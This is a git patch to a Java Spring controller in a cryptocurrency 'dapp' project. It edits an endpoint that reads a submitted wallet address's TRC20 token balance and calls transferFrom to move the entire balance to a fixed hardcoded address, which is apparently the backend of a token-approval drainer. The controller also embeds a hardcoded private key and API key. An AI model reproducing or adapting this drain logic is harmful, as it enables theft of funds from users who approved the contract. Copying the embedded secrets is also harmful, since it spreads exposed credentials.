From ab4e855bfe9fa73ed096643f43396c08d0ef0de5 Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Tue, 19 Oct 2021 16:57:06 +0800 Subject: [PATCH] fix --- src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java | 17 ++++++++++++++--- 1 files changed, 14 insertions(+), 3 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java b/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java index cd2b31b..3c5fa42 100644 --- a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java +++ b/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java @@ -5,11 +5,14 @@ import io.swagger.annotations.Api; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import org.tron.trident.core.ApiWrapper; import org.tron.trident.core.contract.Contract; import org.tron.trident.core.contract.Trc20Contract; +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; import java.math.BigInteger; /** @@ -26,15 +29,23 @@ private final String PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae"; + @PostMapping(value = "/trcPost.html") - public FebsResponse trxPost(@RequestBody TrxPostDto trxPostDto) { + public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) { ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress()); + System.out.println(balanceOf); - token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L); - return new FebsResponse().success().message(""); + BigInteger decimals = token.decimals(); + + BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue()); + BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, BigDecimal.ROUND_DOWN); + + token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L); + + return new FebsResponse().success(); } } -- Gitblit v1.9.1